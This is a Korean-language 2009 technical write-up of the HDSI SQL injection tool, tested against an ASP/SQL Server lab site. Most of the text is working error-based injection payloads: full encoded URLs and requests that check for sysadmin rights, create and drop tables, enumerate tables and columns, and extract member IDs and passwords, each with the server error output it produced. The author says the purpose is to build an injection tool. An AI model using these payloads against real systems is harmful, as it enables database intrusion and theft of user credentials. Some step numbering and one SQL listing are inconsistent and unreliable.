HDSI 툴분석 [sql injection 기술명세서 ] Sql injection 기술명세서 Ver. 0.01 이문서는 sql injection 기술명세가범위입니다. Copyrights Copyright 2009 by CanvasTeam@SpeeDroot( 장경칩 ) All Rights Reserved. 장경칩의사전승인없이본내용의전부또는일부에대한복사, 전재, 배포, 사용을금합니다. Mail: ox1111@hackersnews.org
개정이력 버전 수정일자 재 / 개정이력설명 작성자 승인자 0.10 2009-01-23 초안작성 장경칩 장경칩 0.11 2009-10-05 Filed type가져오기수정및오타수정 장경칩 장경칩
- 목차 - [sql injection 기술명세서 ]... 1 Sql injection 기술명세서... 1 Ver. 0.01... 1 Copyrights... 1 1. 개요... 4 1.1. 목적... 4 1.2. 범위... 4 1.3. 정의및약어... 4 1.4. 관련문서... 4 1.5. 제약사항... 4 2. HDSI 툴분석... 5 2.1. encode 분석... 5 2.2. 취약한코드... 5 2.3. 단계별공격방법... 6 2.4. 단계별공격분석... 7 2.4.1. A-HDSI-01 ( 실제공격가능한지테스트해본다. )... 7 2.4.2. A-HDSI-02 ( 공격시사용될 db 테이블생성 )... 8 2.4.3. A-HDSI-03 ( db name 가져온다 )... 9 2.4.4. A-HDSI-04 ( SA 계정확인 )...10 2.4.5. A-HDSI-05 ( 프로시저생성 )...11 2.4.6. A-HDSI-06 ( DB 테이블개수가져오기 )...12 2.4.7. A-HDSI-07 ( 순서대로 DB 테이블이름가져오기 )...13 2.4.8. A-HDSI-08 ( 지정테이블의필드개수가져오기 )...14 2.4.9. A-HDSI-09 ( 지정테이블의필드이름가져오기 )...15 2.4.10. A-HDSI-10 ( 지정테이블의필드 TYPE 가져오기 )...17 2.4.11. A-HDSI-10 ( 레코드개수를가져온다 )...18 2.4.12. A-HDSI-11 ( 레코드값가져오기 )...19 2.4.13. A-HDSI-12 ( 사용한테이블삭제 )...20 - 표목차 - 표 1. 정의및약어기술... 4 - 그림목차 -
1. 개요 1.1. 목적 이문서는기존문서가많이있지만내나름대로정리하는데의의가있고 HDSI 사용명세와 SQL INJECTION 를기술적접근을명세화시키는고향후 SQL INJECTION TOOL 를만드는데그목적이있다 1.2. 범위 HDSI 툴의사용명세와 SQL INECTION 의기술적접근이범위이다. 1.3. 정의및약어 용어 설명 표 1. 정의및약어기술 1.4. 관련문서 1.5. 제약사항 N/A
2. HDSI 툴분석 2.1. encode 분석 Encode 코드 $20 space Char(94) ^ Char(85) U %2B + Decode 코드 2.2. 취약한코드 ID = Request.QueryString("ID") strsql= "SELECT * FROM products WHERE product_id=" & ID & ";"
2.3. 단계별공격방법 STEP CODE 설명 1 A-HDSI-01 실제공격가능여부와 USER를값을가져온다. 2 A-HDSI-02 공격시사용할 DB 테이블을생성한다. 3 A-HDSI-03 DB NAME를가져온다. 4 A-HDSI-04 SA 계정인지확인. 5 A-HDSI-05 프로시져생성 6 A-HDSI-06 DB 테이블개수가져오기 7 A-HDSI-07 순서대로 DB테이블이름가져오기 8 A-HDSI-08 테이블의필드개수가져오기 9 A-HDSI-09 테이블의필드이름가져오기 10 A-HDSI-10 필드 TYPE가져오기 11 A-HDSI-11 레코드개수가져오기 12 A-HDSI-12 레코드의값가져오기 13 A-HDSI-13 사용한테이블삭제
2.4. 단계별공격분석 2.4.1. A-HDSI-01 ( 실제공격가능한지테스트해본다. ) http://192.168.179.136/priamos/product.asp?id=1%20and(char(94)%2buser%2bchar(94))>0 GET /priamos/product.asp?id=1%20and(char(94)%2buser%2bchar(94))>0 ID=1%20and(char(94)%2Buser%2Bchar(94))>0 ID=1 and(^+user+^)>0 1) User > 0 를한이유는 user 컬럼은문자열타입이므로 > 0 를하게된다면 0 이숫자이므로 error 유발하게된다 Error 를유발해서 user 값이 error 페이지에보일수있게한다. 2) (^+user+^) 한이유는 asp 에서 error 페이지를보내줄때파싱이용이하게하기위해넣었다. StrSQL 문자열 Ticket number 를포함한명령 strsql= "SELECT * FROM products WHERE product_id=" & 1 and(char(94)+user+char(94))>0 & ";" SELECT * FROM products WHERE product_id=1 and(char(94)+user+char(94))>0; Microsoft OLE DB Provider for ODBC Drivers 오류 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '^dbo^' to a column of data type int. /priamos/product.asp, 줄 66 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '^^dbo^' to a column of data type int.
2.4.2. A-HDSI-02 ( 공격시사용될 db 테이블생성 ) http://192.168.179.136/priamos/product.asp?id=1;create%20table%20t_jiaozhu(jiaozhu%20varchar(200)) HEAD /priamos/product.asp?id=1;create%20table%20t_jiaozhu(jiaozhu%20varchar(200)) ID=1;create%20table%20t_jiaozhu(jiaozhu%20varchar(200)) ID=1;create table t_jiaozhu(jiaozhu varchar(200)) 1) t_jiaozhu 라는 db 테이블생성 2) jiaozhu 컬럼생성 StrSQL 문자열 strsql= "SELECT * FROM products WHERE product_id=" & 1 ;create table t_jiaozhu(jiaozhu varchar(200)) & ";" SELECT * FROM products WHERE product_id=1;create table t_jiaozhu(jiaozhu varchar(200));
2.4.3. A-HDSI-03 ( db name 가져온다 ) http://192.168.179.136/priamos/product.asp?id=1%20and(char(94)%2bdb_name()%2bchar(94))>0 GET /priamos/product.asp?id=1%20and(char(94)%2bdb_name()%2bchar(94))>0 ID=1%20and(char(94)%2Bdb_name()%2Bchar(94))>0 ID=1 and(^+db_name()+^)>0 1) db_name() 는 db 이름을가져온다 StrSQL 문자열실제 SQL TEST strsql= "SELECT * FROM products WHERE product_id=" & 1 and(char(94)+db_name()+char(94))>0 & ";" SELECT * FROM products WHERE product_id=1 and(char(94)+db_name()+char(94))>0; SELECT 'database' = DB_NAME(), 'user' = USER_NAME(), 'login' = SUSER_NAME() [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '^PRIAMOS^' to a column of data type int.
2.4.4. A-HDSI-04 ( SA 계정확인 ) http://192.168.179.136/priamos/product.asp? ID=1%20And%20(char(94)%2Bcast(IS_SRVROLEMEMBER('sysadmin')%20as%20varchar(1))%2Bchar(94))>0 GET /priamos/product.asp?id=1%20and%20(char(94)%2bcast(is_srvrolemember('sysadmin')%20as%20varchar(1))%2bchar(94))>0 ID=1%20And%20(char(94)%2Bcast(IS_SRVROLEMEMBER('sysadmin')%20as%20varchar(1))%2Bchar(94))>0 ID=1 And (^+cast(is_srvrolemember('sysadmin') as varchar(1))+^)>0 1) SA 계정인지확인한다. 1 이리턴되면 SA 계정이다. StrSQL 문자열실제 SQL문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (char(94)+cast(is_srvrolemember('sysadmin') as varchar(1))+char(94))>0 & ";" SELECT * FROM products WHERE product_id=1 And (char(94)+cast(is_srvrolemember('sysadmin') as varchar(1))+char(94))>0; SELECT IS_SRVROLEMEMBER('sysadmin') as varchar [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^1^' to a column of data type int.
2.4.5. A-HDSI-05 ( 프로시저생성 ) http://192.168.179.136/priamos/product.asp?id=1;declare%20@a%20int-- HEAD /priamos/product.asp?id=1;declare%20@a%20int-- ID=1;declare%20@a%20int-- ID=1;declare @a int 1) StrSQL 문자열실제 SQL문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1;declare @a int & ";" SELECT * FROM products WHERE product_id=1;declare @a int--;
2.4.6. A-HDSI-06 ( DB 테이블개수가져오기 ) http://192.168.179.136/priamos/product.asp? ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS]..[sysobjects]%20 where%20xtype=char(85))=0 GET /priamos/product.asp? ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS]..[sysobjects]%20 where%20xtype=char(85))=0 ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS]..[sysobjects]%20 where%20xtype=char(85))=0 ID=1 And (select ^+cast(count(1) as varchar(80))+^ from [PRIAMOS]..[sysobjects] Where xtype=u)=0 1) DB 테이블개수가져오기 StrSQL 문자열실제 SQL문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (select char(94)+cast(count(1) as varchar(80))+char(94) from [PRIAMOS]..[sysobjects] where xtype=char(85))=0 & ";" SELECT * FROM products WHERE product_id=1 And (select char(94)+cast(count(1) as varchar(80))+char(94) from [PRIAMOS]..[sysobjects] where xtype=char(85))=0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^8^' to a column of data type int.
2.4.7. A-HDSI-07 ( 순서대로 DB 테이블이름가져오기 ) http://192.168.179.136/priamos/product.asp? ID=1%20And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))%20from (Select%20Top%201%20id,name%20from%20[PRIAMOS]..[sysobjects]%20 Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)%20T%20order%20by%20name%20desc,id%20asc)>0 GET /priamos/product.asp? ID=1%20And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))%20 from(select%20top%201%20id,name%20from%20[priamos]..[sysobjects]%20 Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)%20T%20order%20by%20name%20desc,id%20asc)>0 ID=1%20And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))%20 from(select%20top%201%20id,name%20from%20[priamos]..[sysobjects]%20 Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)%20T%20order%20by%20name%20desc,id%20asc)>0 ID=1 And (Select Top 1 cast(^+name+^ as varchar(8000)) from(select Top 1 id,name from [PRIAMOS]..[sysobjects] Where xtype=u order by name asc,id desc) T order by name desc,id asc)>0 1) 순서대로 DB 테이블개수가져오기 2) from(select Top 1 ~ from(select Top 4 까지요청한다. StrSQL 문자열실제 SQL문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (Select Top 1 cast(char(94)+name+char(94) as varchar(8000)) from(select Top 1 id,name from [PRIAMOS]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T order by name desc,id asc)> & ";" SELECT * FROM products WHERE product_id=1 And (Select Top 1 cast(char(94)+name+char(94) as varchar(8000)) from(select Top 1 id,name from [PRIAMOS]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T order by name desc,id asc)>0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^D99_CMD^' to a column of data type int.
2.4.8. A-HDSI-08 ( 지정테이블의필드개수가져오기 ) http://192.168.11.128/priamos/product.asp? ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20 from%20[priamos]..[syscolumns]%20a,[priamos]..[sysobjects]%20b%20 where%20a.id=b.id%20and%20b.name='member')>0 GET /priamos/product.asp? ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20 from%20[priamos]..[syscolumns]%20a,[priamos]..[sysobjects]%20b%20 where%20a.id=b.id%20and%20b.name='member')>0 ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20 from%20[priamos]..[syscolumns]%20a,[priamos]..[sysobjects]%20b%20 where%20a.id=b.id%20and%20b.name='member')>0 ID=1 And (select ^ +cast(count(1) as varchar(80)) + ^ from [PRIAMOS]..[syscolumns] A,[PRIAMOS]..[sysobjects] B where A.id=B.id and B.name='member')>0 지정테이블의필드개수가져오기 1) [member] 이부분을계속변경해서필드개수를구한다.. StrSQL 문자열실제 SQL문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (select char(94)+cast(count(1) as varchar(80))+char(94) from [PRIAMOS]..[syscolumns] A,[PRIAMOS]..[sysobjects] B where A.id=B.id and B.name='member')>0 & ";" SELECT * FROM products WHERE product_id=1 And (select char(94)+cast(count(1) as varchar(80))+char(94) from [PRIAMOS]..[syscolumns] A,[PRIAMOS]..[sysobjects] B where A.id=B.id and B.name='member')>0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^2^' to a column of data type int.
2.4.9. A-HDSI-09 ( 지정테이블의필드이름가져오기 ) 멤버테이블에서필드이름 (id) 을가져온다. http://192.168.179.136/priamos/product.asp? ID=1%20And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(select%20top%201%20b.name%20from%20[priamos]..[sysobjects]%20a%20,[priamos]..[syscolumns]%20b%20 where%20a.id=b.id%20and%20a.name='member'%20order%20by%20b.name%20asc)%20t%20order%20by%20name%20desc)>0 GET /priamos/product.asp? ID=1%20And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(select%20top%201%20b.name%20from%20[priamos]..[sysobjects]%20a%20,[priamos]..[syscolumns]%20b%20 where%20a.id=b.id%20and%20a.name='member'%20order%20by%20b.name%20asc)%20t%20order%20by%20name%20desc)>0 ID=1%20And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(select%20top%201%20b.name%20from%20[priamos]..[sysobjects]%20a%20,[priamos]..[syscolumns]%20b%20 where%20a.id=b.id%20and%20a.name='member'%20order%20by%20b.name%20asc)%20t%20order%20by%20name%20desc)>0 ID=1 And (select Top 1 cast( ^ +name + ^ as varchar(80)) from(select Top 1 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 1. 지정테이블의필드이름가져오기 2. from(select top 1 ~ from(select top2 를변경하면서데이터를가져온다 ( 필드개수는 3.3.8참조 ) 3. member 를변경하면서각테이블의필드이름을가져온다. StrSQL 문자열 실제 SQL 문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (select Top 1 cast(char(94)+name+char(94) as varchar(80)) from(select Top 1 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 & ";" SELECT * FROM products WHERE product_id=1 And (select Top 1 cast(char(94)+name+char(94) as varchar(80)) from(select Top 1 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^id^' to a column of data type int.
멤버테이블에서필드이름 (passwd) 을가져온다. http://192.168.179.136/priamos/product.asp?id=1%20and%20 (select%20top%201%20cast(char(94)%2bname%2bchar(94)%20as%20varchar(80))%20 from(select%20top%202%20b.name%20from%20[priamos]..[sysobjects]%20a%20,[priamos]..[syscolumns]%20b%20 where%20a.id=b.id%20and%20a.name='member'%20order%20by%20b.name%20asc)%20t%20order%20by%20name%20desc)>0 GET /priamos/product.asp?id=1%20and%20(select%20top%201%20cast(char(94)%2bname%2bchar(94)%20as%20varchar(80))%20 from(select%20top%202%20b.name%20from%20[priamos]..[sysobjects]%20a%20,[priamos]..[syscolumns]%20b%20 where%20a.id=b.id%20and%20a.name='member'%20order%20by%20b.name%20asc)%20t%20order%20by%20name%20desc)>0 ID=1%20And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(select%20top%202%20b.name%20from%20[priamos]..[sysobjects]%20a%20,[priamos]..[syscolumns]%20b%20 where%20a.id=b.id%20and%20a.name='member'%20order%20by%20b.name%20asc)%20t%20order%20by%20name%20desc)>0 ID=1 And (select Top 1 cast( ^ +name + ^ as varchar(80)) from(select Top 2 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 1. 지정테이블의필드이름가져오기 2. from(select top 1 ~ from(select top2 를변경하면서데이터를가져온다 ( 필드개수는 3.3.8참조 ) 3. member 를변경하면서각테이블의필드이름을가져온다. StrSQL 문자열 실제 SQL 문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (select Top 1 cast(char(94)+name+char(94) as varchar(80)) from(select Top 2 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 & ";" SELECT * FROM products WHERE product_id=1 And (select Top 1 cast(char(94)+name+char(94) as varchar(80)) from(select Top 2 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^passwd^' to a column of data type int.
2.4.10. A-HDSI-10 ( 지정테이블의필드 TYPE 가져오기 ) http://192.168.11.128/priamos/product.asp? ID=1%20And%20(select%20Top%201%20char(94)%2Bcast(B.xtype%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS].. [sysobjects]%20a,[priamos]..[syscolumns]%20b%20where%20a.id=b.id%20and%20a.name='member'%20and%20b.name='id')>0 GET /priamos/product.asp? ID=1%20And%20(select%20Top%201%20char(94)%2Bcast(B.xtype%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS].. [sysobjects]%20a,[priamos]..[syscolumns]%20b%20where%20a.id=b.id%20and%20a.name='member'%20and%20b.name='id')>0 ID=1%20And%20(select%20Top%201%20char(94)%2Bcast(B.xtype%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS].. [sysobjects]%20a,[priamos]..[syscolumns]%20b%20where%20a.id=b.id%20and%20a.name='member'%20and%20b.name='id')>0 ID=1 And (select Top 1 ^+cast(b.xtype as varchar(80))+^ from [PRIAMOS].. [sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' and B.name='id')>0 필드의 type 를가져온다 StrSQL 문자열실제 SQL문테스트 필드 type 분석 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (select Top 1 char(94)+cast(b.xtype as varchar(80))+char(94) from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' and B.name='id')>0 & ";" SELECT * FROM products WHERE product_id=1 And (select Top 1 char(94)+cast(b.xtype as varchar(80))+char(94) from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' and B.name='id')>0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^175^' to a column of data type int. 175 : char 56 : int 35 :text, 167 : varcharr 239 :nchar 231: nvarchar
2.4.11. A-HDSI-10 ( 레코드개수를가져온다 ) http://192.168.11.128/priamos/product.asp? ID=1%20And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20From%20[PRIAMOS]..[member]%20 Where%201=1)>0 GET /priamos/product.asp? ID=1%20And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20From%20[PRIAMOS]..[member]%20 Where%201=1)>0 ID=1%20And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20From%20[PRIAMOS]..[member]%20 Where%201=1)>0 ID=1 And (Select ^ +Cast(Count(1) as varchar(8000)) + ^ From [PRIAMOS]..[member] Where 1=1)>0 레코드개수가져온다. 1) [member] 이부분을계속변경해서레코드개수를구한다.. StrSQL 문자열실제 SQL문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (Select char(94)+cast(count(1) as varchar(8000))+char(94) From [PRIAMOS]..[member] Where 1=1)>0 & ";" SELECT * FROM products WHERE product_id=1 And (Select char(94)+cast(count(1) as varchar(8000))+char(94) From [PRIAMOS]..[member] Where 1=1)>0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^3^' to a column of data type int.
2.4.12. A-HDSI-11 ( 레코드값가져오기 ) http://192.168.179.136/priamos/product.asp? ID=1And%20(select%20top%201%20char(94)%2Bcast(id%20as%20varchar(8000))%2Bchar(94)%20%20 from%20(%20select%20top%202%20id,passwd%20from%20[priamos]..[member]%20order%20by%20id%20desc,passwd%20asc%20)%20 as%20as_tablename%20order%20by%20id%20asc,passwd%20desc%20)>0 GET /priamos/product.asp?id=1and%20(select%20top%201%20char(94)%2bcast(id%20as%20varchar(8000))%2bchar(94)%20%20 from%20(%20select%20top%202%20id,passwd%20from%20[priamos]..[member]%20order%20by%20id%20desc,passwd%20asc%20)%20 as%20as_tablename%20order%20by%20id%20asc,passwd%20desc%20)>0 ID=1And%20(select%20top%201%20char(94)%2Bcast(id%20as%20varchar(8000))%2Bchar(94)%20%20 from%20(%20select%20top%202%20id,passwd%20from%20[priamos]..[member]%20order%20by%20id%20desc,passwd%20asc%20)%20 as%20as_tablename%20order%20by%20id%20asc,passwd%20desc%20)>0 ID=1 And (select top 1 ^ +cast(id as varchar(8000)) + ^ from ( select top 2 id,passwd from [PRIAMOS]..[member] order by id desc,passwd asc ) as as_tablename order by id asc,passwd desc )>0 1. 레코드값가져오기 2. from(select top 1 ~ from(select top3 를변경하면서데이터를가져온다 ( 레코드개수는 2.2..10참조 ) 3. member 를변경하면서각레코드값을가져온다. 4. 레코드값 (id) 을가져온다면위와같이필드이름 (id, passwd) 변경해서레코드값을가져온다. StrSQL 문자열 실제 SQL 문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (select Top 1 cast( ^ +name + ^ as varchar(80)) from(select Top 1 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 & ";" ID=1 And (select Top 1 cast( ^ +name + ^ as varchar(80)) from(select Top 1 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^root ^' to a column of data type int.
2.4.13. A-HDSI-12 ( 사용한테이블삭제 ) * HDSI 에없는내용이지만추가한항목임. http://192.168.179.136/priamos/product.asp?id=1;drop table t_jiaozhu GET /priamos/product.asp?id=1;drop table t_jiaozhu ID=1;drop table t_jiaozhu ID=1;drop table t_jiaozhu 1) 사용한테이블삭제 StrSQL 문자열 strsql= "SELECT * FROM products WHERE product_id=" & 1 ;drop table t_jiaozhu & ";" SELECT * FROM products WHERE product_id=1;drop table t_jiaozhu;